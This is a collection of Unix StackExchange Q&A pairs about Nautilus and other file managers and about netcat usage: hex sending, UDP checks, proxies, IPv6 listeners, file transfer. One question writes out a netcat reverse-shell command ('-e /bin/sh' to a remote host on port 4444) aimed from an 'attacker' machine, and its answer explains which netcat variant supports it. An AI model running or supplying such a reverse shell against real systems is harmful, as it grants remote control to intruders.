When browsing to trash:/// in Nautilus, I see a long list of files and directories that I recognize and remember placing in the trash. However, attempting to delete them from Nautilus either results in a Preparing message indefinitely, or an error message Error while deleting. You do not have sufficient permissions to... |
This problem was actually being caused by having a .Trash-1000 folder on the external drive itself, with all the contents I was seeing in Nautilus within it.
In order to delete these files, I had to remount that drive as writable:
sudo mount -o remount,rw /partition/identifier /mount/point
After this point, I was ab... | Nautilus shows files in Trash, can't be located on cli |
1,524,833,802,000 |
I am looking for a file explorator that have customizable move, copy and remove functions.
Which strategy would you recommand? Is there any file explorer with customizable commands or should I modify the source code of an existing one (nautilus typically)?
The custom commands should be GUI based: not interested in hav... |
Thunar allows you to add custom actions to the right click menu.
From the menu bar, select "Edit > Custom Actions". Then you can set a name and the command for your action. In the command field %f will be substituted for the path of the selected file.
More instructions and examples can be found here: http://docs.xfce... | File explorator with custom removal and copy functions |
1,524,833,802,000 |
How do I set the default folder order in Gnome? I'm talking about setting 'type order' as default so the folders will always be listed at the top, and other files after them.
Here is the image:
You see that everything is listed by the type, and I want this to be the default order so when I reboot, it won't reset.
|
you will be able to achieve this by opening nautilus preferences as follow:
open a nautilus window > click on "files" from top menu > preferences (as showed here)
And then from there setup the Default view. Specifically Arrange items: by type
| Default Folder Order in Gnome |
1,524,833,802,000 |
Please don't mark it as duplicated before reading my question. I know that there already are those questions, but the existing answer did not work as expected, and that is why I am asking this question.
Existing answers say that the way to set the default file manager is xdg-mime default <app name> inode/directory, an... |
Those two configurations have nothing to do with each other, as the system doesn't really have a unified concept of "default file manager". xdg-mime only changes MIME type associations but has absolutely no effect on what service gets activated when a program attempts to talk to org.freedesktop.FileManager1 via D-Bus.... | Setting default file manager and locating a file with the default file manager |
1,524,833,802,000 |
Problem:
After upgrading one of my VMs from Ubuntu 16.04 to Ubuntu 18.04, I'm having various GUI problems on VNC server.
Note: I was able to upgrade another VM, which is a 1 year old clone of this very same machine, without any issues.
ubuntu-mono-dark icons don't work. Pixbuff loaders cache fails with the error:
g... |
God, while I was writing and posting this, and waiting for the machine to upgrade for the n-th time, the problem with the missing title bars disapeared all of a sudden...
Though it still happens whenever I reboot the system and start a new instance of vncserver.
It seems I have to kill vncserver and restart it once be... | Problems with icons, themes, nautilus on VNCServer after upgrade from Ubuntu 16.04 to 18.04 |
1,524,833,802,000 |
I am currently working with the KDE Plasma window manager and switched my default file manager to nautilus. Functionally everything works, but aesthetically it looks not very pleasing. Is it possible to make nautilus use KDE Plasma's default color scheme?
|
Use same colour scheme for both, as in Arch Linux based distros, there is kde-gtk-config (anything that provides /usr/share/kcm-gtk-module/, I guess. It adds GTK Settings in System Sttings) see what your disro have. Say if you are using adwita scheme for KDE, set the same for gtk from System Settings. Apperence > Appl... | Make nautilus use default kde plasma color scheme |
1,524,833,802,000 |
I recently used the nautilus file manager to open up remote folders hosted on my Linux VPS.
Each time I want to access them, I need to manually connect to my server through GUI.
I was wondering if there was a command that could directly open the remote folders in the Nautilus file manager using an identity key.
|
After doing more research, I realized that sftp and ssh used the same identity key.
I generated a new key and added it to the ssh agent, refer to https://help.github.com/en/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent for more information.
I used nautilus sftp://user@host/pat... | What command can I run to open a remote folder in GUI using an identity key? |
1,524,833,802,000 |
Nautilus terminal is installed but still doesn't show up in the context menu options to open sh files. I am trying to open an sh file but it does not give the option of opening with terminal from the context menu. How may I add open with terminal to context menu.
bash-4.2$ sudo yum install nautilus-open-terminal
[sudo... |
One thing is the installed programs, quite another is the personal configuration your environment uses. You'll have to find out how to add it there.
What desktop are you using?
| RHEL: Nautilus terminal is installed but still doesn't show up in the context menu options to open sh files |
1,524,833,802,000 |
in sometimes when I open a folder nautilus suddenly is stopped. (Freezes the folders and/or graphic interfaces)
then I must restart the system for solve problem because nautilus not open.
I try:
killall -9 nautilus
sudo apt-get remove nautilus && sudo apt-get install nautilus
I've tried delete cache, but don't work.... |
I've found the problem.
the Megasync for linux, also I've tested the megasync (amd64 - version 2.9.10-25.1) in kali linux 2.0 2016.2 light and have the same problem
What is the problem with megasync? Causes froozen folder of nautilus interfaces (In random times)
Unistall megasync or kill process when have a problem
su... | nautilus opens but not displayed (Debian Jessie) |
1,524,833,802,000 |
Today, I upgraded from Gnome 3.18 to 3.20 and started experiencing some strange graphical issues when changing focus from one application to another, either by alt-tab or clicking the new window with the mouse. So far, I have only seen this issue with gnome-apps (those that have the gnome-specific headerbar, such as N... |
Turns out this is a bug in the Numix themes and it is being tracked here.
| Gnome 3.20 graphical glitches when switching applications |
1,373,493,602,000 |
I have a binary file that I can send with netcat:
$ nc -l localhost 8181 < my.dat
The file contains this:
$ xxd my.dat
0000000: 0006 3030 3030 4e43 ..0000NC
What I really want to do is send the hex string directly. I've tried this:
$ echo '0006303030304e43' | nc -l localhost 8181
However, the ... |
I used the -r and -p switches for xxd:
$ echo '0006303030304e43' | xxd -r -p | nc -l localhost 8181
Thanks to inspiration from @Gilles' answer, here's a Perl version:
$ echo '0006303030304e43' | perl -e 'print pack "H*", <STDIN>' | nc -l localhost 8181
| convert a hex string to binary and send with netcat |
1,373,493,602,000 |
So I can use this netcat command to check if a UDP port is open:
$ nc -vz -u 10.1.0.100 53
Connection to 10.1.0.100 53 port [udp/domain] succeeded!
Unlike TCP, UDP is connectionless (fire and forget). So at a high level does anyone know how netcat knows the UDP port is open? Does it ask for a reply or something like... |
Judging by the specific output Connection to Connection to 10.1.0.100 53 port [udp/domain] succeeded! you are using openbsd-netcat.
Looking at the code for that the test is to bind to the UDP socket, i.e. there is an open connection:
if (vflag || zflag) {
/* For UDP, make su... | How does netcat know if a UDP port is open? |
1,373,493,602,000 |
I'm not sure about when to use nc, netcat or ncat.
If one is the deprecated version of another?
If one is only available on one distribution?
If it is the same command but with different names?
In fact I'm a bit confused. My question comes from wanting to do a network speed test between two CentOS 7 servers. I came ... |
nc and netcat are two names for the same program (typically, one will be a symlink to the other). Though—for plenty of confusion—there are two different implementations of Netcat ("traditional" and "OpenBSD"), and they take different options and have different features.
Ncat is the same idea, but from the Nmap project... | What are the differences between ncat, nc and netcat? |
1,373,493,602,000 |
I'm trying to connect to port 25 with netcat from one virtual machine to another but It's telling me no route to host although i can ping. I do have my firewall default policy set to drop but I have an exception to accept traffic for port 25 on that specific subnet. I can connect from VM 3 TO VM 2 on port 25 with nc b... |
Your no route to host while the machine is ping-able is the sign of a firewall that denies you access politely (i.e. with an ICMP message rather than just DROP-ping).
See your REJECT lines? They match the description (REJECT with ICMP xxx). The problem is that those seemingly (#) catch-all REJECT lines are in the midd... | No route to host with nc but can ping |
1,373,493,602,000 |
With a netcat listener like:
nc -l <port> < ~/.bashrc
I can grab my .bashrc on a new machine (doesn't have nc or LDAP) with:
cat < /dev/tcp/<ip>/<port> > ~/.bashrc
My question is: Is there a way to mimic the capabilities of nc -l <port> in my first line with /dev/tcp instead of nc?
The machines I'm working on are ex... |
If Perl is installed (as it will be on a RHEL machine):
perl -MIO::Socket::INET -ne 'BEGIN{$l=IO::Socket::INET->new(
LocalPort=>1234,Proto=>"tcp",Listen=>5,ReuseAddr=>1);
$l=$l->accept}print $l $_' < ~/.bashrc
would work, unless a local firewall doesn't allow incoming connections to 1234.
If socat is installed:
s... | /dev/tcp listen instead of nc listen |
1,373,493,602,000 |
I am using the newest version of netcat (v1.10-41.1) which does not seem to have an option for IPv6 addresses (as the -6 was in the older versions of nc).
If I type in nc -lvnp 2222 and check listening ports with netstat -punta, the server appears to be listening on port 2222 for IPv4 addresses only:
tcp 0 ... |
There are at least 3 or 4 different implementations of netcat as seen on Debian:
netcat-traditional 1.10-41 the original which doesn't support IPv6: probably what you installed.
netcat6 which was made to offer IPv6 (oldstable, superseded).
netcat-openbsd 1.130-3 . Does support IPv6.
ncat 7.70+dfsg1-3 probably a bit n... | Netcat - How to listen on a TCP port using IPv6 address? |
1,373,493,602,000 |
I would like to use netcat to send a piece of text to the echo service on my server, get the reply then exit, so that I know the connection is still good. so far I've tried:
echo 'test' | netcat server 7
this way netcat would wait for more input rather than exit.
How can I make netcat exit after getting reply ... |
Just tried - slightly different behaviour between netcat-openbsd and netcat-traditional ( ubuntu 16.4). The OpenBSD variant does what you expect, while with the netcat-traditional I need to add the -q 1 to avoid waiting for more input.
echo 'test' | netcat -q 1 server 7
| netcat: send text to echo service, read reply then exit |
1,373,493,602,000 |
I'm trying to send commands to a tcp port using netcat and pipe response
when I run netcat and type my command it prints response correctly but when I pass command from a pipe it sends the command correctly but doesn't print response
So, this works correctly:
netcat localhost 9009
while this just sends command b... |
As @Patrick said, this problem is usually due to netcat exiting before the response has been given. You remedy that by adding -q 2 to the command line, i.e., tell netcat to hang around 2 seconds after detecting EOF on standard input. Obviously you can make it wait some other number of seconds as well.
| netcat doesn't print response |
1,373,493,602,000 |
The TL;DR version
Watch this ASCII cast or this video - then come up with any reasons why this is happening. The text description that follows provides more context.
Details of the setup
Machine 1 is an Arch Linux laptop, on which ssh is spawned, connecting to an Armbian-running SBC (an Orange PI Zero).
The SBC itse... |
Many thanks to the people who submitted ideas in the comments. I went through them all:
Recording packets with tcpdump and comparing the contents in WireShark
# tcpdump -i wlan0 -w good.ssh & \
cat signature | ssh -o "ProxyCommand nc %h %p" \
[email protected] 'cat | md5sum' ; \
killall tcpdump
# tcp... | SSH speed greatly improved via ProxyCommand - but why? |
1,373,493,602,000 |
I am trying to get a shell on host machine from another (attacker) machine.
Attacker machine is listening.
I am running below command on my host machine
nc 123.123.123.12 4444 -e /bin/sh
Output I get:
nc: invalid option -- 'e'
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
[-m minttl] [-O ... |
There are multiple variants of netcat. Install the version of netcat developed by nmap.org
On my Ubuntu system, there are 2 packages netcat and ncat. The one from nmap is ncat and supports the -e option. The other one does not.
You need to find the right package for your distribution.
EDIT:
On Kali Linux (2022.3), the... | invalid option -e in netcat |
1,373,493,602,000 |
What is the simplest and most versatile way to send files over the network to other computers? By that I mean computers that other people are using at the moment. I don't think SSH works if the computer has an active session open.
So far I am using netcat, which works alright. But are there any other simple ways to do... |
You're complicating your life needlessly. Use scp.
To transfer a file myfile from your local directory to directory /foo/bar on machine otherhost as user user, here's the syntax: scp myfile user@otherhost:/foo/bar.
EDIT: It is worth noting that transfer via scp/SSH is encrypted while transfer via netcat or HTTP isn't.... | Simplest way to send files over network |
1,373,493,602,000 |
I want to open a remote desktop session from my laptop to desktop over my SSH (reverse) tunnel. That should be simple (or at least doable), right? Until now I've been using Team Viewer to log in to the remote desktop. I'd like to achieve similar results without Team Viewer.
Here's what my SSH tunnel looks like:
laptop... |
Can you try doing the second step without doing the nc? That is - do the VNC with just the -L and -R. I believe the issue is that your netcat session is connecting back to an already open. So when doing the VNC stuff don't use netcat.
| Remote desktop over SSH reverse tunnel to replace TeamViewer |
1,373,493,602,000 |
I can access a web page just fine by directly hitting my web server as follows:
$ echo "GET /sample" | nc web-server 80
This is contents of /sample...
$
Now, I would like netcat to go via a Squid HTTP proxy (listening on port 3128), much like I can configure my Firefox browser via its proxy preferences and have it go... |
Netcat is not a specialized HTTP client. Connecting through a proxy server for Netcat thus means creating a TCP connection through the server, which is why it expects a SOCKS or HTTPS proxy with the -x argument, specified by -X:
-X proxy_protocol
Requests that nc should use the specified protocol when talki... | How to make netcat use an existing HTTP proxy |
1,373,493,602,000 |
I have a shell script that uses netcat to listen to localhost on port 1111 for web requests. Every time I try accessing localhost:1111/index.html for example I get:
invalid connection to [127.0.0.1] from localhost [127.0.0.1] 60038
the number at the end (60038) seems to be increasing every time I access localhost.
An... |
Your original script requires that the connection comes from a host named localhost, but for some reason that filtering is failing. Unusual, because it matches exactly the name listed in the error: invalid connection to [127.0.0.1] from localhost [127.0.0.1] 60038
This command will listen on the localhost network inte... | netcat in shell script giving invalid connection |
1,373,493,602,000 |
Is there a way to know when netcat is done transferring a file between machines?
Current commands:
Machine #2: nc -lp 5555 > test.txt
Machine #1: nc MachineIP Port < test.txt
The transfer happens, but there's no visual indication that it has completed.
|
First some background
There are different versions of nc, as you can find on nc(1) - Linux man page or nc(1) BSD General Commands Manual the connection should shut down right after the transfer. There's an example given on both linked sites:
Start by using nc to listen on a specific port, with output captured
into ... | How to know when NC is done transferring a file |
1,373,493,602,000 |
I'm currently trying to write a scan port result to a text file.
Here is the command I tried to use:
nc -vv -z localhost 1-80 > file.txt
This doesn't work (that is, the error messages from nc don't end up in file.txt).
But when I type nc -vv -z localhost 80 > file.txt it works.
I already know that there is an output ... |
You need to direct both stderr and stdout into the file:
nc -vv -z localhost 1-80 > file.txt 2>&1
Running the command against just one port (80) didn't generate any messages to stderr, so writing stdout to the file was sufficient to capture everything. However, with a range of ports (1-80) we definitely get output wr... | Write output from netcat to a file |
1,373,493,602,000 |
I have two files, client.sh and server.sh. All the necessary data is on the server, which is sent to the client using netcat. The client just get these data and display it to the end user. The problem is, when I try to show the dialog loading screen from the server to the client:
server.sh
# CLIENT PORT: 8765
# SERVER... |
Solved it! just had to use the -k option
-k Forces nc to stay listening for another connection after its current
connection is completed. It is an error to use this option without the
-l option.
EDIT: This answer assumes you're using openbsd-netcat, some versions like gnu-netcat have a reduced set... | How can I keep netcat connection open? |
1,373,493,602,000 |
I'm trying to grep live text stream from netcat, but it doesn't work for me:
netcat localhost 9090 | grep sender
returns nothing, but I'm sure that it should.
If I redirect the netcat output to a file and add some delays (simulate real environment) - then it works:
$ (sleep 5; cat netcat_output; sleep 5) | grep send... |
You could use the read command (bash builtin) to force characters to be read one by one :
netcat localhost 9090 | (
cnt=0
line=
while read -N 1 c; do
line="$line$c"
if [ "$c" = "{" ]; then
cnt=$((cnt+1))
elif [ "$c" = "}" ]; then
cnt=$((cnt-1))
if... | How to grep netcat output |
1,373,493,602,000 |
How to deal with this:
nc: Proxy error: "HTTP/1.1 407 Proxy Authentication Required"
nc has a -P option for proxy username, but what's for password?
|
It's not clear what Netcat variant you're using, but presuming it's OpenBSD's netcat, the proxy authentication behavior, as of version 1.105, should have you prompted on the commandline for a password:
"Proxy password for %s@%s: " is the prompt, with proxy username & proxy password applied for the string format inputs... | Does netcat support proxy authentication? |
1,373,493,602,000 |
I'm on a Raspbian, I've tried to receive data with:
nc -4 -l -v -k -p 5004
which result in:
Listening on [0.0.0.0] (family 2, port 5004)
nc: getnameinfo: Temporary failure in name resolution
route command return this:
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use I... |
nc -n
-n numeric-only IP addresses, no DNS
With this I've solved
| netcat nc: getnameinfo: Temporary failure in name resolution |
1,373,493,602,000 |
I'm writing a bash script that constantly read a folder in a loop to send data to a server at a defined time interval. I'm using netcat as the tool to connect to the server and send the data. My pseudo code would look like:
while true
do
read_folder()
process_data() > result.txt
cat result.txt > netcat ip ... |
Two separate processes: One that copies result.txt to netcat. Result.txt is fed via another process.
echo -n >result.txt
tail -f result.txt | nc ip port &
while true
do
read_folder()
process_data() > result.txt
wait 10 sec
done
| Howto create a permanent client connection with netcat? |
1,373,493,602,000 |
Actually I want to make something like ifconfig.me functionality but only for my internal network. I see it the way something on server listens some port and send ip of connected remote machine.
Seems nc is a great utility for my issue (also I haven't any php/python/whatever on server. just only shell and standard uni... |
You could use something like this:
while true; do nc -lvp 1337 -c "echo -n 'Your IP is: '; grep connect my.ip | cut -d'[' -f 3 | cut -d']' -f 1" 2> my.ip; done
nc will be executed in endless loop listening on port 1337 with verbose option that will write information about remote host to stderr. stderr is redirected t... | is it possible to send the remote connector ip via netcat? |
1,373,493,602,000 |
When I put this
nc -l 12345 >nc_out
in a shell script, run it and then connect from other shell using telnet, it allows me to type some text and have it end up in nc_out.
But if I start nc in the background (I want to start telnet from the same script later on):
nc -l 12345 >nc_out &
connection is closed immediately... |
Backgrounded commands that are executed in non-interactive shells with job control disabled (as it is the case in shell scripts) get their stdin implicitly redirected from /dev/null.
sh -c 'nc -l 12345 1>nc_out & lsof -p $!'
From POSIX.1-2008:
2. Shell Command Language
[...]
Asynchronous Lists
If a command is termi... | nc -l in background closes immediately (nc -l 1234 &) |
1,373,493,602,000 |
I'm wondering if there's any way to get telnet to send only a \n, not a \r\n.
For example, if one process is listening on a port like this, to print the bytes of any traffic received:
nc -l 1234 | xxd -c 1
Connecting to it from netcat with nc localhost 1234, and typing "hi[enter]":
0000000: 68 h
0000001: 69 i
00... |
You can negotiate binary mode. Once in this mode you cannot leave it. Negotiation means the telnet client will send a special byte sequence to the server, which you will have to ignore if you are not implementing the protocol.
Subsequent data is sent unchanged, in line mode. Client:
$ telnet localhost 1234
Connected ... | Any way to send just "\n" in Telnet? |
1,373,493,602,000 |
I need to read a large log file and send it over a local network using (netbsd) netcat between two VMs on the same host workstation.
I know that netcat has an interval, but as far as I can tell, the smallest interval you can use is 1 line/second.
Most of the files I need to send this way have hundreds of thousands of ... |
If you use bash and pipes, and are looking for an easy and dirty solution, you can try using sleep.
You can use this which act like cat but with a pause at each line. while read i; do echo "$i"; sleep 0.01; done. Here is an example at a little less than 100 lines per second.
$ time (seq 1 100 | while read i; do echo "... | How can I read lines at a fixed speed? |
1,373,493,602,000 |
I am trying to configure a CentOS 7 running in VirtualBox to send its audit logs to the host which is FreeBSD 10.3. Ideally, I'd like to receive the logs with FreeBSD's auditdistd(8) but for now I'd just like to be able to use netcat for that.
My problem is that netcat doesn't get any data.
Details
When I run service... |
I am not sure if everything here is needed to succeed. Nevertheless, this is a configuration which works so that I am able to receive Linux Audit logs with a netcat on FreeBSD.
CentOS:/etc/audisp/audisp-remote.conf:
remote_server = 192.168.56.1
port = 60
local_port = 60
transport = tcp
mode = immediate
queue_depth = ... | How to send audit logs with audisp-remote and receive them with netcat |
1,373,493,602,000 |
I am having problem with nc command, I cannot use a proxy, because there is no -x option, which should be there.
nc -h
[v1.10-41]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use ... |
Looks like you have the "traditional" netcat (netcat-traditional) installed. The -x option is available in the OpenBSD netcat (netcat-openbsd). See also: What are the differences between netcat-traditional and netcat-openbsd? on Ask Ubuntu.
| netcat missing -x option |
1,373,493,602,000 |
In debian:bullseye
oot@4770c7ba00ac:/# apt install -y netcat
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
libbsd0 libmd0 netcat-openbsd
The following NEW packages will be installed:
libbsd0 libmd0 netcat netcat... |
In Debian 11, netcat is a transitional package depending on netcat-openbsd. The transitional package was dropped from Debian 12, you now need to explicitly choose which netcat implementation you want. If you want to continue using netcat-openbsd, change your installation to use that:
apt-get install -y netcat-openbsd
... | Discrepancies in netcat installation process between debian bullseye vs debian bookworm-slim |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.